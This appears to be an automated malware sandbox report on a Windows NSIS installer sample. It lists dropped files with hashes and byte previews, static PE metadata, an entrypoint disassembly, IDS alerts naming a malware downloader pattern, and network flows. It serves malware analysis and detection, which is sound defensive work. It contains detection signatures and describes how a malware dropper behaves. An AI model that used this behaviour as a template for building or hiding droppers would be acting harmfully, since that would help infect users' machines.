Joe Sandbox View:	Filename: PO 20240949.exe, Detection: malicious, Browse Filename: PO 20240949.exe, Detection: malicious, Browse Filename: PO-10212024168877 PNG2023-W101.exe, Detection: malicious, Browse Filename: PO-10212024168877 PNG2023-W101.exe, Detection: malicious, Browse Filename: PO-000041522.exe, Detection: malicious, Browse Filename: PO-000041522.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Program.Unwanted.1283.21599.30651.exe, Detection: malicious, Browse Filename: cuenta iban-ES65.exe, Detection: malicious, Browse Filename: cuenta iban-ES65.exe, Detection: malicious, Browse Filename: cuenta iban-ES65.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......)...m.m.m...k.m.~....j.9..i....l....l.Richm.........................PE..L...tc.W...........!.................'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text...O........................... ..`.rdata..S....0......."..............@..@.data...h....@.......&..............@....reloc..`....P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\synkefrit\Allertydeligst.Bas

Download File

Process:	C:\Users\user\Desktop\3Pd480eWHA.exe
File Type:	data
Category:	dropped
Size (bytes):	148730
Entropy (8bit):	4.598675188248196
Encrypted:	false
SSDEEP:	3072:y9OQrEj8U4kB9cgXD9XDikNF8XeOeGlCIk:qOQrEV59cqRXmkb8Xetik
MD5:	CAAE91FAF492BB3E385DF013048362C9
SHA1:	A947CFC7D3D6B5BC8BFFE1EB8202AF693E66C9FE
SHA-256:	97430770B0507F9340934B0A87A622A51A8E27F192A45D4E49A06141CCD50BB5
SHA-512:	2DC2C7AAFB05900AD8EEE731E3AC2862C0DF9538323F6471220A83CB7A810DB407EF2574018082CFEB9F5A67ED3D6C8672466E6FC5CF269512595823F06418FB
Malicious:	false
Reputation:	low
Preview:	.............V..rrrrr...D.................66.....................w.......m....tt...........M.....Z.V....##................................k...^.........22.......0.k.VVV...KK........111......ee.....]..//........*......@@........GG...............W.HH.......#.KK.00.........W......www................&&&&&............pp........vv..O...............@..............9.0.......................................H.~~...............oooo...b..ZZ...??..m...................................uu..nnn.............................777..............gg..................<.f...11.....QQ........V..\|.eeee..........O........................ ...g.RRRR..a.........o.........c."""......0........O.ffffff..mm.......WWW.Z.............aaaaa............................&..................)...........>......a....AAAAAAAA..X.........J.................t.....................................lll.(..ww.............................QQQQQ.........dddd......................r......................t....""................0.............e.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\synkefrit\Unfraternizing13.Vil

Download File

Process:	C:\Users\user\Desktop\3Pd480eWHA.exe
File Type:	data
Category:	dropped
Size (bytes):	362469
Entropy (8bit):	7.657032140009134
Encrypted:	false
SSDEEP:	6144:HfdujTlxcFoO+tT3y3dY+V/BfUfd3jqwuNQNbXF0Y1ikdOJWijfymm:H1W/c7QTiRBcfNx5bXFxikhvt
MD5:	C10522CB00056035FB012B959A3E15CF
SHA1:	F200C40B4811BBF68EF1BFD54A68EA497744FD1C
SHA-256:	18C0260445FDCA5E3D5270729115798E1D0A7B74622D92B21A4C3E50B7F96A7B
SHA-512:	28CD022F438A2488D695E702027232E3594C735DFAA875012D7605420298D1D2F675B47AFD7971DCF8996736C35C555C975D23FD334D1ED58CB9711BBE682F8C
Malicious:	false
Reputation:	low
Preview:	....!..................L.......I...~~~~....llll...^.............e...NNN......f...............Q.........h........FFFF....II....S....................................MM....X............&...........3........................>>>>.........$$....II.....PP.\|..........f.....f....~e.....E......_...yu..<?f....../....}.....gg..U.A.Q.....;. =c..%,[.r.P..n..Bu.......5b........F.....C.j...3...M...t.i...6...+...q.{.....W.z...../}...T..`..o.7:2J......"5B...l....'k..H..K..>.8.......F...?!\|m.I....^..-...N....\...../S.($s..j.0..dp.ax..V..........X.Y.r......f.t../.....f....~e.....E......_...yu..w....}........6.....8gg..U.A.Q.....;. =c..%,[.r.P..n.b........F.....C.j..........?3...M...t.i...6...+...q.{...v}...T..`..o.7:2J......"5B...l....Ww........'k..H..K..>.8....?!\|m.I......>x>_..f.r.....-...N....\...../S.($s..j.0..dp.ax..V.........s.(.6......X.Y.r.z.....f....~e.....E......_...yu..w....}..+..L.....C......gg..U.A.Q.....;. =c..%,[.r.P..n.b........F.....C.j...3......$1k.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\synkefrit\absumption.kor

Download File

Process:	C:\Users\user\Desktop\3Pd480eWHA.exe
File Type:	data
Category:	dropped
Size (bytes):	371165
Entropy (8bit):	1.2513716385265512
Encrypted:	false
SSDEEP:	768:Sj9TDV4iwR5i6JNPLINN0L+xs+EkTFvjCbJt1zs8kCmx+87wymjP6IzDWZ0rQPyQ:Asy0kRS/GkjABLBfp92S
MD5:	C639B5AEA098D21378EFE3AD3A554633
SHA1:	0E10CDE4A6AD7B89BB3FD1628C6D025BF466989B
SHA-256:	28FA6948793CA0E3C62F408CD9E546169C227B17F96C9CF3B9112E6980A503A1
SHA-512:	8312B421FC185D5ECBE5ED3854F9B54589F3142214196DF8EC8DAA71911F06F04283ED9EEA1DE213CD5B03EBA9AB1DDC95F39685E737201519FD9DC5369164EE
Malicious:	false
Reputation:	low
Preview:	.............q.............................................&.......................\............................................................J]..................................................\|...............P..........................................................d......................................................r..........................................................I..................................#...................!..............9...........................................................................6...................................G...........O..........................................................................2...C..................4......................................................................................T...............................X.......................................................................................4.................8.........~...................i......6....+........E.h........g.................{..............&.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\synkefrit\autographist.udd

Download File

Process:	C:\Users\user\Desktop\3Pd480eWHA.exe
File Type:	data
Category:	dropped
Size (bytes):	474733
Entropy (8bit):	1.2605066942170449
Encrypted:	false
SSDEEP:	1536:Kps3n4nM/CfcQfsOj6JcTW81rboM0aADXq34CpG0OC:Cenqxv0OBTpQMLo
MD5:	D52ECA89A6A6583AA5868C668B52F497
SHA1:	82BF52ABA58EDBB83EBB92C01EAAC9CA37189D9F
SHA-256:	0ECDFEF080A86A8F200ED06CA6067273A1105F1914DEAE7D92E09B873ABCF83C
SHA-512:	6607B8EBB9CC607D3531799052DC6F4F478E4326B5E6E803401E545DD5338815FA80B6E6E61509C1BA2B5719F6A80A681B7EA101540979A4C7D52863D8831E24
Malicious:	false
Reputation:	low
Preview:	.....a.....................!...........................................................,.............v.............................................}..................G..................................................._..............J................S.........................................................................A........................................................LS3............................................................................E...................................^.........s........ .h.............................&.?...................6..................;............C.....(.............s.....................M......................X.....................n..............................................................................................................:.;....................*.....`......_...................................................f........................................?..........`...U@.......;..............................D.......2........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\synkefrit\hornfisks.woo

Download File

Process:	C:\Users\user\Desktop\3Pd480eWHA.exe
File Type:	Matlab v4 mat-file (little endian) , numeric, rows 0, columns 0
Category:	dropped
Size (bytes):	227593
Entropy (8bit):	1.245920806085396
Encrypted:	false
SSDEEP:	768:3FhKKzByuBwwTbYXu9OgQhU0e6nWp1ZWY4+7j8nc+kf5GfMw1ZK8In+/JNS3xOnr:SepZWYpAGLQIM+q
MD5:	9A1B6F2854A5B3F5E97159F4D30C47B3
SHA1:	C9B33BDD32498DCCB62D229C95608AD0F8655BA3
SHA-256:	6A5ECDC720F8A9DC660732354490F997C5D46C1E7BDF97FE0129D31D5C231021
SHA-512:	4F74B2F52F66768B670DD65D42414464630C99637004A7560DDFCB52CEA706A659EA4F382C169DB740B8DD59BC15FE604F0A6F2B3164EE3D09046AAC83C6FD53
Malicious:	false
Reputation:	low
Preview:	.......................:............G3........u.......................O..........5...........O...........................................................................................K...................j..1...........[................U....................l...........................................y...........`......................................F........................................................................................................................................................................O...B.......g............E........................................................=.........................9...H........................................L.............................u................................................................................................................4..............................................j..%.....................8............J...........................................................................................v....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\synkefrit\lighty.sto

Download File

Process:	C:\Users\user\Desktop\3Pd480eWHA.exe
File Type:	data
Category:	dropped
Size (bytes):	327412
Entropy (8bit):	1.2530468011510671
Encrypted:	false
SSDEEP:	768:aBILyFjGgwtorVDke1ghsijjk5HkK7lHTeeVybsz2dzpMuDx+Hmoy1f4fZDXCTqJ:94bZ/PRHoZSZdGU6lJ8/fqAGC
MD5:	EB81829745DF6650D0C09CBADCADB6FD
SHA1:	4FA3AA68D878034C8AAF56013C403A0540B93AF4
SHA-256:	9DD8E06CAF3EA5960465EB5466FE13ED3F41FE276C1D7314373ECF3993DFB992
SHA-512:	7EFE0B56249B05AFB8AA1C6EFABC773E65D19ABD773F3F462691539F4DCA5AF06B0F7A291FE1E3F4B535A01D7A34E6ACB6C720F0A6C1959FB871635F68463CD3
Malicious:	false
Preview:	..........i..............................................................................................;............................~...........................F....................._.......n...b........$.............<...........................................................................................^.................................................e...........................J.........................&..................................o................................f..............~...........................................................O.....$.!.................:..................9...9........]...............................................I........................................................N}............4.........................a..T..........g....................................K.............................[......o..............................................................J..........................L.......................;...............................)....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\synkefrit\nonarbitrable.txt

Download File

Process:	C:\Users\user\Desktop\3Pd480eWHA.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	364
Entropy (8bit):	4.3235645552878115
Encrypted:	false
SSDEEP:	6:oiK7uqJ3jJ/b1w8IDz5E1WZVpVMmhE4HBFqTZWMWFXijWYBLSWDuPM5iSubpQpZu:oh7uSW68ZVpVekB6ZWMWdgrvDY+inyAT
MD5:	C2A47524DCF9687FA180FA2E3F8A4362
SHA1:	1C6D3ACC056ECECE019DE3EE9977DA451E4A6379
SHA-256:	FDBBF1DFDC69C2B28CFF480273FB9D83A217D699D708105B7166CD0BE5627218
SHA-512:	DE30697525C80EE8D1DCE3437374D83A6CA49C8CF11C73BDE2DEB26CA40B1F7ED7298F0871A8F32770C16F8CC944A2072CF4906CF130F50A9F4AB4C30E557E2C
Malicious:	false
Preview:	sheitan interruptable lsesummen,mercurialising engage rilievo fringe dobbeltdomicilernes chionodoxa chromascope,udreder leveraging lippering.bldsden vagtselskabers dentalized prussianised demifusion nachas..reboards skildvagter versiculi planetarily seksualhygiejnens bryllupsmarchens..strophe transformative unshapenly pharmacopeial afskedshilsners udsalgssteder.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\synkefrit\spokesmen.thr

Download File

Process:	C:\Users\user\Desktop\3Pd480eWHA.exe
File Type:	data
Category:	dropped
Size (bytes):	264011
Entropy (8bit):	1.2602368630758787
Encrypted:	false
SSDEEP:	768:x1U384UpGgVCi2XHks9XVNargfQMkIRUpbvS2h2BjyujykSAtE1blsA9IiPi9OhW:x1Uz+6EuhMbJkzpAq+Kk0
MD5:	D9EB4DA16650571C58C1B347FB8D27F1
SHA1:	C02B382B23D249C7FAAF45D8191F64871FA025A5
SHA-256:	17A67A6731D1EF2DFE9C0A1E52CA0589968E9F61FF52FBE67B39DC3E39D36CFF
SHA-512:	B437679FD218DBC6CDA0C1EA598B597389E34BBAA3DE913CFEC564E226D3D55E84B4290CA076A6DC66E7018EE95AE1EE6007DB19F87DC68B459FCAFAF34D8E9D
Malicious:	false
Preview:	....o../._r.............................5...E.................................................................................p..............................>R.s....................................M.....R..........................................`.x.........q..............................................................OG.D..........................<.................(....................................................................d...............................n...........................................r....n........................e.....................d.......................................................................g..f..........J.....................................................................L....t..................8.........................................p....f....................................g..............................................D.....C............z..........................................................................................#............

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\synkefrit\stumprumpet.und

Download File

Process:	C:\Users\user\Desktop\3Pd480eWHA.exe
File Type:	data
Category:	dropped
Size (bytes):	438970
Entropy (8bit):	1.254355464810577
Encrypted:	false
SSDEEP:	768:bzV5RkJ99odavaG4W/vwV9bW9Iy6F5XTP/BtOax/XXluFr9jT6nHttP+Uf6FAqj3:P/vAoMGFHEUaviFWCDH1M5AOfE
MD5:	CA0365FACD33769129F762C843983283
SHA1:	E6C95B658A13E598AE6AF5F71A0D577C84BE7B26
SHA-256:	C8ED8546722F12C51800EDAEB09F659B59CFA6B8B8E3B0FDC55267A7E5560A20
SHA-512:	AE3ED0C51571CC90F65A8E58744E4002302E43B3D40E71C87A0223DEB7E9C5DFD1370C0AB1262E12F900E6A85C5CEA82B115D5EC8697CEF9F5EFAF555D2153C7
Malicious:	false
Preview:	............................................-..D..2............................................................`................................[...........................................s..........................................................`.......{.......................................i................s........................{..............D.........g......:.....................C...........................................................................................6...................4.-..................................................S............................a......................................................N.+............................................................................................................................................................................_.T.....................................................................................................(...........%............................A.......................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\synkefrit\uhviskes.com

Download File

Process:	C:\Users\user\Desktop\3Pd480eWHA.exe
File Type:	data
Category:	dropped
Size (bytes):	489577
Entropy (8bit):	1.2547186421876628
Encrypted:	false
SSDEEP:	1536:E/ujv57uZhomnVCSJm9XbVL7qQ/NAq6gusqocKJjh8zOdV:E/67S/n5mpLH/RusDlT
MD5:	917EE012CBF9DD581CA73C76C7FE4CA0
SHA1:	0C99AC2CAEED895B940935D72A2A5FD3176D8C85
SHA-256:	09B342C70E64D68438917385DD67258EF7C4A2E4D6ED923BC52525A40540698A
SHA-512:	AE2552898CA689DE35FC21E6F36E38CF1B2F6CE623B70CA4EF4FF5B18DB863059CBE8EADEEA9A18CEEAD756AC4B25E812F52B012E6E32CBC3F26C18393259324
Malicious:	false
Preview:	..............v.........................................................................................................................._X......k............b.........J...................................X....................................................................................................\|........Z..........................].............................................:.........#..............................................................................................................O..............................O..................................................................................E............................U........................................E........................................:........D..................................................g...Q.................................................................................z..=........................E..%............................................................................*..........

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.9860949783455135
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	3Pd480eWHA.exe
File size:	895'816 bytes
MD5:	c91d3b24dd89ae81099db451a512ba38
SHA1:	9d69cf3aafd3743216ea9d3777be0e2528c9b6ce
SHA256:	0c2b883b2bff3ab75adf1d79049fffe5de810c19cb65e1b3a4e14d73ca10598c
SHA512:	20a5821498fbec437359b8d99e3435958f99ecfcc94ccfba93045c185b7349e493b607f24453c5561b922325e3090108af7cad44057408e90b4e0b3af8eab5fb
SSDEEP:	24576:sDe1Kph66KEQBL5c2rDruMRNemtMhAdBvheI+op15CQN08KXQoGxA:UNpRKRPc2tRwSMhA7j+HQk98A
TLSH:	9E15232211ED4537F26BF8308D7F1A1B1E731D440621D1779B203ABD793CA6ABB6942E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........@............/...........s.../...............+.......Rich............................PE..L....c.W.................^....9....

File Icon


Icon Hash:	43caa1a1a185ada9

Static PE Info

General

Entrypoint:	0x4030ec
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5795637F [Mon Jul 25 00:55:27 2016 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	b78ecf47c0a3e24a6f4af114e2d1f5de

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Inornate, O=Inornate, L=Zenting, C=DE
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	12/11/2023 09:24:13 11/11/2026 09:24:13
Subject Chain	CN=Inornate, O=Inornate, L=Zenting, C=DE
Version:	3
Thumbprint MD5:	31A645BBA85D4E0216CE40257D6115B0
Thumbprint SHA-1:	993AA4897A5D2B87ED0FDA6D3F7240C183FC8888
Thumbprint SHA-256:	E0F1ED949DFB36C6F736597AED4CC48002C56DB2FE12B43590C4BB5E0CD53889
Serial:	785C7C3BD8D7982DF661ACB45FBC4E7F45428B38

Entrypoint Preview

Instruction
sub esp, 00000184h
push ebx
push esi
push edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+18h], ebx
mov dword ptr [esp+10h], 00409198h
mov dword ptr [esp+20h], ebx
mov byte ptr [esp+14h], 00000020h
call dword ptr [004070A8h]
call dword ptr [004070A4h]
cmp ax, 00000006h
je 00007FDCC0DC39A3h
push ebx
call 00007FDCC0DC6911h
cmp eax, ebx
je 00007FDCC0DC3999h
push 00000C00h
call eax
mov esi, 00407298h
push esi
call 00007FDCC0DC688Dh
push esi
call dword ptr [004070A0h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], bl
jne 00007FDCC0DC397Dh
push ebp
push 00000009h
call 00007FDCC0DC68E4h
push 00000007h
call 00007FDCC0DC68DDh
mov dword ptr [007A1F44h], eax
call dword ptr [00407044h]
push ebx
call dword ptr [00407288h]
mov dword ptr [007A1FF8h], eax
push ebx
lea eax, dword ptr [esp+38h]
push 00000160h
push eax
push ebx
push 0079D500h
call dword ptr [00407174h]
push 00409188h
push 007A1740h
call 00007FDCC0DC6507h
call dword ptr [0040709Ch]
mov ebp, 007A8000h
push eax
push ebp
call 00007FDCC0DC64F5h
push ebx
call dword ptr [00407154h]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7428	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3be000	0xe18	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xd9968	0x11e0	.data
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x298	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5db6	0x5e00	f367801e476b699be2b532039e0b583c	False	0.6806848404255319	data	6.508470969322742	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x1246	0x1400	43fab6a80651bd97af8f34ecf44cd8ac	False	0.42734375	data	5.005029341587408	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x399038	0x400	29ebcbec0bd7bd0fecb3d2937195c560	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x3a3000	0x1b000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3be000	0xe18	0x1000	bfb4537f3eb7566a74ccdeac7c775284	False	0.352783203125	data	3.842480295105669	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x3be208	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.23655913978494625
RT_DIALOG	0x3be4f0	0x100	data	English	United States	0.5234375
RT_DIALOG	0x3be5f0	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x3be710	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x3be7d8	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x3be838	0x14	data	English	United States	1.15
RT_VERSION	0x3be850	0x288	data	English	United States	0.5108024691358025
RT_MANIFEST	0x3bead8	0x33d	XML 1.0 document, ASCII text, with very long lines (829), with no line terminators	English	United States	0.5536791314837153

Imports

DLL	Import
KERNEL32.dll	SetEnvironmentVariableA, Sleep, GetTickCount, GetFileSize, GetModuleFileNameA, GetCurrentProcess, CopyFileA, GetFileAttributesA, SetFileAttributesA, GetWindowsDirectoryA, GetTempPathA, GetCommandLineA, lstrlenA, GetVersion, SetErrorMode, lstrcpynA, ExitProcess, GetFullPathNameA, GlobalLock, CreateThread, GetLastError, CreateDirectoryA, CreateProcessA, RemoveDirectoryA, CreateFileA, GetTempFileNameA, ReadFile, WriteFile, lstrcpyA, MoveFileExA, lstrcatA, GetSystemDirectoryA, GetProcAddress, CloseHandle, SetCurrentDirectoryA, MoveFileA, CompareFileTime, GetShortPathNameA, SearchPathA, lstrcmpiA, SetFileTime, lstrcmpA, ExpandEnvironmentStringsA, GlobalUnlock, GetDiskFreeSpaceA, GlobalFree, FindFirstFileA, FindNextFileA, DeleteFileA, SetFilePointer, GetPrivateProfileStringA, FindClose, MultiByteToWideChar, FreeLibrary, MulDiv, WritePrivateProfileStringA, LoadLibraryExA, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, GlobalAlloc
USER32.dll	ScreenToClient, GetSystemMenu, SetClassLongA, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongA, SetCursor, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, PostQuitMessage, GetWindowRect, EnableMenuItem, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, ReleaseDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, EndDialog, RegisterClassA, SystemParametersInfoA, CreateWindowExA, GetClassInfoA, DialogBoxParamA, CharNextA, ExitWindowsEx, GetDC, CreateDialogParamA, SetTimer, GetDlgItem, SetWindowLongA, SetForegroundWindow, LoadImageA, IsWindow, SendMessageTimeoutA, FindWindowExA, OpenClipboard, TrackPopupMenu, AppendMenuA, EndPaint, DestroyWindow, wsprintfA, ShowWindow, SetWindowTextA
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectA, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, ShellExecuteA, SHFileOperationA
ADVAPI32.dll	RegDeleteKeyA, SetFileSecurityA, OpenProcessToken, LookupPrivilegeValueA, AdjustTokenPrivileges, RegOpenKeyExA, RegEnumValueA, RegDeleteValueA, RegCloseKey, RegCreateKeyExA, RegSetValueExA, RegQueryValueExA, RegEnumKeyA
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-06T15:06:21.524123+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	52.149.20.212	443	192.168.2.7	49740	TCP
2024-11-06T15:07:01.749231+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.12.23.50	443	192.168.2.7	49956	TCP
2024-11-06T15:07:14.059270+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49974	172.217.16.206	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 6, 2024 15:07:12.631062984 CET	49974	443	192.168.2.7	172.217.16.206
Nov 6, 2024 15:07:12.631123066 CET	443	49974	172.217.16.206	192.168.2.7
Nov 6, 2024 15:07:12.631407022 CET	49974	443	192.168.2.7	172.217.16.206
Nov 6, 2024 15:07:12.713534117 CET	49974	443	192.168.2.7	172.217.16.206
Nov 6, 2024 15:07:12.713551044 CET	443	49974	172.217.16.206	192.168.2.7
Nov 6, 2024 15:07:13.571036100 CET	443	49974	172.217.16.206	192.168.2.7
Nov 6, 2024 15:07:13.571190119 CET	49974	443	192.168.2.7	172.217.16.206
Nov 6, 2024 15:07:13.571890116 CET	443	49974	172.217.16.206	192.168.2.7
Nov 6, 2024 15:07:13.572010994 CET	49974	443	192.168.2.7	172.217.16.206
Nov 6, 2024 15:07:13.675777912 CET	49974	443	192.168.2.7	172.217.16.206
Nov 6, 2024 15:07:13.675797939 CET	443	49974	172.217.16.206	192.168.2.7
Nov 6, 2024 15:07:13.676156998 CET	443	49974	172.217.16.206	192.168.2.7
Nov 6, 2024 15:07:13.676251888 CET	49974	443	192.168.2.7	172.217.16.206
Nov 6, 2024 15:07:13.696116924 CET	49974	443	192.168.2.7	172.217.16.206
Nov 6, 2024 15:07:13.743328094 CET	443	49974	172.217.16.206	192.168.2.7
Nov 6, 2024 15:07:14.059266090 CET	443	49974	172.217.16.206	192.168.2.7
Nov 6, 2024 15:07:14.059559107 CET	49974	443	192.168.2.7	172.217.16.206
Nov 6, 2024 15:07:14.059572935 CET	443	49974	172.217.16.206	192.168.2.7
Nov 6, 2024 15:07:14.060030937 CET	49974	443	192.168.2.7	172.217.16.206
Nov 6, 2024 15:07:14.081166983 CET	49974	443	192.168.2.7	172.217.16.206
Nov 6, 2024 15:07:14.081209898 CET	443	49974	172.217.16.206	192.168.2.7
Nov 6, 2024 15:07:14.081332922 CET	49974	443	192.168.2.7	172.217.16.206
Nov 6, 2024 15:07:14.284621000 CET	49975	443	192.168.2.7	142.250.186.129
Nov 6, 2024 15:07:14.284660101 CET	443	49975	142.250.186.129	192.168.2.7
Nov 6, 2024 15:07:14.284745932 CET	49975	443	192.168.2.7	142.250.186.129
Nov 6, 2024 15:07:14.285253048 CET	49975	443	192.168.2.7	142.250.186.129
Nov 6, 2024 15:07:14.285264969 CET	443	49975	142.250.186.129	192.168.2.7
Nov 6, 2024 15:07:15.171181917 CET	443	49975	142.250.186.129	192.168.2.7
Nov 6, 2024 15:07:15.171330929 CET	49975	443	192.168.2.7	142.250.186.129
Nov 6, 2024 15:07:15.176062107 CET	49975	443	192.168.2.7	142.250.186.129
Nov 6, 2024 15:07:15.176084042 CET	443	49975	142.250.186.129	192.168.2.7
Nov 6, 2024 15:07:15.176331997 CET	443	49975	142.250.186.129	192.168.2.7
Nov 6, 2024 15:07:15.176424026 CET	49975	443	192.168.2.7	142.250.186.129
Nov 6, 2024 15:07:15.181937933 CET	49975	443	192.168.2.7	142.250.186.129
Nov 6, 2024 15:07:15.227341890 CET	443	49975	142.250.186.129	192.168.2.7
Nov 6, 2024 15:07:17.828809023 CET	443	49975	142.250.186.129	192.168.2.7
Nov 6, 2024 15:07:17.828876019 CET	443	49975	142.250.186.129	192.168.2.7
Nov 6, 2024 15:07:17.828881025 CET	49975	443	192.168.2.7	142.250.186.129
Nov 6, 2024 15:07:17.828907967 CET	443	49975	142.250.186.129	192.168.2.7
Nov 6, 2024 15:07:17.828927994 CET	49975	443	192.168.2.7	142.250.186.129
Nov 6, 2024 15:07:17.828948975 CET	49975	443	192.168.2.7	142.250.186.129
Nov 6, 2024 15:07:17.930990934 CET	443	49975	142.250.186.129	192.168.2.7
Nov 6, 2024 15:07:17.931054115 CET	443	49975	142.250.186.129	192.168.2.7
Nov 6, 2024 15:07:17.931077003 CET	443	49975	142.250.186.129	192.168.2.7
Nov 6, 2024 15:07:17.931268930 CET	49975	443	192.168.2.7	142.250.186.129
Nov 6, 2024 15:07:17.931269884 CET	49975	443	192.168.2.7	142.250.186.129
Nov 6, 2024 15:07:17.931304932 CET	443	49975	142.250.186.129	192.168.2.7
Nov 6, 2024 15:07:17.931355000 CET	49975	443	192.168.2.7	142.250.186.129
Nov 6, 2024 15:07:17.941354036 CET	443	49975	142.250.186.129	192.168.2.7
Nov 6, 2024 15:07:17.941570044 CET	49975	443	192.168.2.7	142.250.186.129
Nov 6, 2024 15:07:17.941601038 CET	443	49975	142.250.186.129	192.168.2.7
Nov 6, 2024 15:07:17.941644907 CET	49975	443	192.168.2.7	142.250.186.129
Nov 6, 2024 15:07:17.946314096 CET	443	49975	142.250.186.129	192.168.2.7
Nov 6, 2024 15:07:17.946376085 CET	49975	443	192.168.2.7	142.250.186.129
Nov 6, 2024 15:07:17.946408033 CET	443	49975	142.250.186.129	192.168.2.7
Nov 6, 2024 15:07:17.946455002 CET	49975	443	192.168.2.7	142.250.186.129
